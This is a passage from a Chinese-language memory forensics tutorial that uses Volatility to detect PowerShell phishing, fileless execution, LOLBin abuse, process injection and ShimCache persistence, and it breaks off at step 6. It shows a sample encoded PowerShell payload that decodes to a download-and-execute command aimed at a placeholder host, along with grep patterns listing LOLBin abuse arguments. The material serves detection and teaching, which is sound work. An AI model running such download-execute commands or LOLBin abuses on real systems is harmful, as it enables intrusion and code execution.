一、概述
只要代码跑起来,就必然在内存里留下痕迹——这是绕不开的物理事实,也是这里全部检测面的来源。
磁盘侧的目标恰恰相反:少落一个文件是一个。少写一次注册表是一个。子进程别长得太扎眼,又是一个。
攻防两侧其实在同一块板上抢地盘——你想让内存看起来干净,取证侧就得证明它不干净。
纯磁盘分析在无文件执行面前基本失效。磁盘镜像上你看到的会是一台"什么都没发生"的机器:没有落地文件、没有新注册表键、事件日志里也只有一条再正常不过的 PowerShell 调用。内存是这类场景下唯一还能给出正面证据的介质。
定性这一步落在分析环节的后段,位于"已经定位到可疑进程"之后、"写结论"之前。上游是进程与注入检测——先在进程层与 VAD 层找到异常,再来判断具体手法与归属。
关系是双向的:采集工具加载的驱动、EDR 的响应进程,也会在内存里留下形态相似的痕迹。所以每一条判据都必须先排除自己制造的痕迹,再下结论。
九类攻击手法在内存中的载体与关键判据字段:
| 攻击手法 |
内存中的载体 |
关键判据字段 |
| PowerShell 钓鱼 |
cmdline 里的编码参数 |
父进程类型、-enc/-w hidden 组合 |
| 无文件执行 |
VAD 中 PAGE_EXECUTE* 的私有页 |
malfind 命中的 MZ/PE 头 |
| LOLBin 滥用 |
正常程序本体 |
命令行参数与子进程异常 |
| DLL 注入 |
thrdscan 的远程线程 |
线程起始地址不落在任何已知模块 |
| APC 注入 |
队列 APC 指向 |
APC 目标地址所属模块 |
| 进程空化 |
映像名与实际内容 |
模块路径与内存内容不符 |
| 反射式加载 |
内存有 PE、模块链表无 |
VAD 保护属性 + 模块列表交叉 |
| 持久化 |
内存中的注册表 hive、ShimCache |
shimcachemem 读出未落盘的记录 |
最后一行是最有价值的一处:磁盘上的 ShimCache 可能被删或被改,内存里的却是系统当前状态。硬断电时它没来得及落盘——内存侧反而成了唯一的证据来源。
据此能回答的是这些:某个进程是否被注入了代码、注入手法是哪一类、无文件载荷的 PE 是否存在于内存、持久化配置在系统当前状态下是什么样子、某条可疑命令行对应的是哪种钓鱼手法。
回答不了的是这些。它不能告诉你"用户是否知情""是否主观故意"——那是行为归因,需要落盘侧的用户行为证据配合。也不能把"内存里有痕迹"直接等同"入侵成立",痕迹归属必须先排除采集工具与安全软件。
往下读之前,先确认你已经掌握:进程与 VAD 层的基本概念、父子进程关系与命令行采集方式、以及 Windows 侧至少两类常见注入手法的原理背景。还没做过进程层定位,先看进程与注入检测;
不熟悉 Windows 侧的持久化工件,先看取证工件地图。内存侧证据如何写进报告,去内存证据的可采性与报告。
二、核心原理
2.1 PowerShell 钓鱼:最高频的初始访问手法
这类攻击的核心是借一个用户信任的进程启动解释器,绕开"可执行文件白名单"。内存中的两个判据:
判据一:父子关系异常——正常是 explorer.exe → powershell.exe(用户自己开的)。
异常是 winword.exe / excel.exe / w3wp.exe / wmiprvse.exe → powershell.exe(文档钓鱼、Web 应用触发、WMI 触发)。
windows.pstree 直接呈现这个关系。这是最容易看、也最可靠的判据。
判据二:命令行特征:
| 参数 |
含义 |
检测价值 |
-enc / -EncodedCommand |
Base64 编码的命令 |
最经典的规避手法——审计工具看到的是一串 Base64,看不出内容 |
-nop / -NoProfile |
不加载用户 profile |
减少在磁盘 profile 目录留下痕迹 |
-w hidden |
隐藏窗口运行 |
用户不可见 |
-ep bypass / -ExecutionPolicy Bypass |
绕过执行策略 |
执行策略不是安全边界,绕过它是有意的规避行为 |
IEX / Invoke-Expression |
动态执行字符串 |
本机脚本解释器在内存中生成并执行代码的标志 |
New-Object / [Reflection.Assembly] |
内存加载 .NET 程序集 |
典型的无文件执行方式 |
DownloadString / DownloadFile |
从网络下载内容 |
明确的 C2 通信意图 |
FromBase64String |
Base64 解码 |
与 -enc 配对的载荷还原 |
2.2 base64 载荷的还原
-enc 参数的载荷是 UTF-16LE 编码的 Base64:
# PowerShell 内置(不依赖外部工具)
powershell -NoProfile -Command "[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<BASE64字符串>'))"
取证意义:还原出的内容可能就直接包含 C2 地址、下载 URL、后续命令。
这是从"发现可疑行为"到"发现具体内容"的关键一步。还原后要作为证据固定下来(记录原始命令行 + 还原结果 + 还原方法),只还原一部分也是有效发现。
⚠️ 绝不执行还原出的内容。 它的价值在于内容本身(URL、IP、命令),不在于运行它。取证环境中任何形式的执行都是不可接受的风险。
2.3 无文件执行(Fileless)
原理:payload 不写磁盘,直接在内存中生成并执行。表现与检测方式:
| 表现 |
检测方式 |
| 内存中有完整 PE 但载荷无对应落盘文件 |
malfind 命中 + 磁盘镜像侧(MFT / USN 日志)查无此文件 |
| 内存分配 RWX 区域 |
malfind 命中 |
| .NET 程序集在内存中加载 |
windows.cmdline 看到 [Reflection.Assembly]::Load |
| 反射式加载的 shellcode |
malfind + 手工分析 |
验证标准(写报告必须做到):
内存中有 PE 映像 AND 磁盘镜像的 MFT/USN 中无对应文件记录 = 无文件执行(跨证据源证明)
⚠️ filescan 不能用来证明"磁盘无文件"(源码核实):windows.filescan 走的是 poolscanner,扫描的是内存内核池中的文件对象(_FILE pool tag),属于内存侧证据。两个方向的局限:文件刚被删除时 _FILE 对象可能仍缓存在池中未回收(命中不等于文件当前存在);文件创建于采集前、之后已关闭且对象已回收(未命中不等于文件从未存在)。因此"无文件执行"的结论必须由磁盘镜像的 MFT / $UsnJrnl:$J 支撑,filescan 只能作为辅助线索。
只满足其一都不足以定性——内存有 PE 可能只是正常程序,磁盘没文件可能是文件已被删(两种解释)。
2.4 LOLBin 滥用
LOLBin(Living Off the Land Binaries) 是 Windows 自带的合法可执行文件。用它们做坏事,不需投放任何文件。
| LOLBin |
滥用方式 |
内存中的判据 |
rundll32.exe |
加载 DLL 的导出函数 |
命令行含异常 DLL 路径 + 参数 |
mshta.exe |
执行 HTA 脚本(VBScript/JS) |
命令行含 javascript: / vbscript: / 外部 URL |
regsvr32.exe |
加载 scrobj.dll 执行脚本 |
命令行含 scrobj.dll + i: 参数 |
certutil.exe |
-urlcache 下载、-decode 解码 |
命令行含 -urlcache 或 -decode |
bitsadmin.exe / curl.exe |
后台传输 / 下载 |
命令行含 /transfer 或外部 URL |
wmic.exe |
远程执行、进程创建 |
命令行含 /node: 或 process call create |
cscript.exe / wscript.exe |
执行脚本 |
命令行含 .vbs/.js 且脚本在临时目录 |
判读要点:这些程序本身完全合法。
可疑的不是"它存在",而是"它的命令行参数指向了异常的目标"——非系统目录的 DLL、临时目录的脚本、外部 URL。
内存判据比磁盘更有效:LOLBin 执行的脚本可能已被删除,但进程的命令行在内存中保留了完整原样。
2.5 注入手法与检测
| 手法 |
系统调用 |
内存检测 |
日志侧对应 |
| 经典 DLL 注入 |
VirtualAllocEx + WriteProcessMemory + CreateRemoteThread |
malfind(注入的 DLL 区域)、ldrmodules(模块链表不一致) |
Sysmon 事件 8(CreateRemoteThread) |
| APC 注入 |
QueueUserAPC |
线程起始地址异常、windows.malware.suspicious_threads |
Sysmon 事件 8/10(部分场景) |
| 进程空化 |
CreateProcess(SUSPENDED) + NtUnmapViewOfSection + 写入 + ResumeThread |
windows.malware.hollowprocesses |
Sysmon 事件 25(Process Tampering) |
| 反射式加载 |
自定义 loader 手动映射 |
malfind 有 PE + ldrmodules 无对应项 |
无直接对应(不调用标准 API) |
| 线程劫持 |
挂起线程 + 修改 EIP |
windows.malware.suspicious_threads(线程起始地址非预期模块) |
无直接对应 |
| 进程伪装 |
修改 PEB 中的 ImagePath |
windows.malware.pebmasquerade |
Sysmon 事件 25 |
| 原子注入 |
NtCreateSection + 内存映射 |
malfind 可能不命中——区域权限不是 PAGE_EXECUTE_READWRITE,且模块链表中无对应项 |
无直接对应(不调用标准 API) |
windows.malware.suspicious_threads 是个容易被忽略但很有价值的插件——它专门列出线程起始地址不在任何已知模块内的线程。这是反射式加载、线程劫持、注入的共同特征。
2.6 持久化在内存中的体现
持久化机制在磁盘上都可能被发现(注册表、任务目录、服务配置),但内存里看到的是"当前生效状态":注册表 Run/RunOnce 键、UserAssist(程序执行计数)、计划任务、服务二进制路径都可以从内存中的 hive 直接读出,命令见第七节速查。** shimcachemem:本篇的精华**
ShimCache(应用兼容性缓存)的磁盘副本是 SYSTEM hive 中的 AppCompatCache,它在系统正常关机时写入。
系统被强制断电、崩溃、或硬关机时,AppCompatCache 来不及落盘。磁盘上的 ShimCache 只反映上一次正常关机的状态。
但内存中的 ShimCache 是内核当前维护的运行时结构,它反映的是"到现在为止"运行过什么程序。 硬断电丢失的正是这一段:
磁盘 ShimCache:反映 [上次正常关机] 之前的程序执行
内存 ShimCache:反映 [开机至今] 的程序执行
↑ 强制断电导致丢失的正是这一段
这是一个极强的技术点:当其他所有工件都因为断电而失真时,内存 ShimCache 提供了断电前最后一段运行历史。对应的磁盘侧分析见计算机取证 Windows 板块 06 篇。
shimcachemem 这类插件的参数与缓存机制见第 03 篇,插件选错会让整条分析线断掉。
三、操作步骤
3.1 第 1 步:全量提取命令行与父子关系
python3 vol.py -f DigiForensics-mem.raw -r csv windows.cmdline > /work/cmdline.csv
head -1 /work/cmdline.csv # TreeDepth,PID,Process,Args(先确认列名)
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.pstree > /work/pstree.txt
3.2 第 2 步:筛选可疑命令行
# PowerShell 可疑参数组合
grep -i 'powershell\|pwsh' /work/cmdline.csv | grep -iE \
'\-enc|\-nop|\-w hidden|\-ep bypass|\-executionpolicy|FromBase64String|Invoke-Expression'
# LOLBin 可疑用法:程序名正常才正常,目标异常才异常
grep -iE 'rundll32|mshta|regsvr32|certutil|bitsadmin|wmic|curl|wget' /work/cmdline.csv \
| grep -iE 'http|\.dll|javascript:|vbscript:|scrobj|urlcache|decode|transfer|node:'
# 指向异常目录的执行
grep -iE '\\\\AppData\\\\|\\\\Temp\\\\|\\\\ProgramData\\\\|\\\\Users\\\\Public\\\\|\\\\Windows\\\\Temp' \
/work/cmdline.csv
# 父子关系:Office 启动 shell / 服务宿主启动非服务进程
grep -iE 'winword|excel|powerpnt|outlook' /work/pstree.txt | grep -iE 'powershell|cmd\.exe|wscript|cscript|mshta|regsvr32'
grep 'svchost.exe' /work/pstree.txt | grep -viE 'svchost\.exe$'
3.3 第 3 步:还原 base64 载荷
# 提取 -enc 后的字符串并还原(只还原,不执行)
powershell -NoProfile -Command "
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA'))" 2>/dev/null
# 输出:IEX (New-Object Net.WebClient).DownloadString('http://cdn-sync.example.com/a.ps1')
# 记录原始命令行 + 还原结果,作为固定证据
echo "原始: $(grep -oE '\-enc[a-zA-Z]* [A-Za-z0-9+/=]+' <匹配行>)" >> /work/ps-payloads.txt
echo "还原: IEX (New-Object Net.WebClient).DownloadString('http://cdn-sync.example.com/a.ps1')" \
>> /work/ps-payloads.txt
3.4 第 4 步:无文件执行的验证
# 1) 内存中找可疑 PE
python3 vol.py -f DigiForensics-mem.raw -r csv windows.malware.malfind > /work/malfind.csv
grep -i 'PAGE_EXECUTE_READWRITE' /work/malfind.csv | head -20
# 2) 确认对应进程的命令行
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.cmdline \
| grep -iE 'Reflection\.Assembly|FromBase64String|DownloadString|New-Object.*IO\.MemoryStream'
# 3) 导出命中的区域验证 MZ 头
mkdir -p /work/mf
python3 vol.py -f DigiForensics-mem.raw -o /work/mf windows.malware.malfind --dump
xxd -l 4 /work/mf/pid.8124.*.dmp # 4d5a = MZ
# 4) filescan 只作辅助线索:确认该文件当前无活动的 _FILE 对象
python3 vol.py -f DigiForensics-mem.raw -r csv windows.filescan > /work/filescan.csv
grep -ic '<可疑文件名>' /work/filescan.csv # 0 = 池中无活跃文件对象
# 5) 结论性证据必须来自磁盘镜像
# MFT 中无该文件记录 或 $UsnJrnl:$J 显示 create+delete 成对出现
3.5 第 5 步:注入手法综合排查
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.ldrmodules --pid <PID>
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.hollowprocesses
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.pebmasquerade
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.malware.suspicious_threads
python3 vol.py -f DigiForensics-mem.raw -r csv windows.malware.psxview | grep -E ',False,' # 摘链进程
# 原子注入:权限是 RW 而非 RWX,标准 malfind 会漏检 → 用 YARA 补充
python3 vol.py -f DigiForensics-mem.raw -r pretty windows.vadyarascan --yara-file /work/rules.yar
# 摘链进程(详见第 05 篇)
python3 vol.py -f DigiForensics-mem.raw -r csv windows.malware.psxview | grep -E ',False,'
3.6 第 6 步:持久化与 ShimCache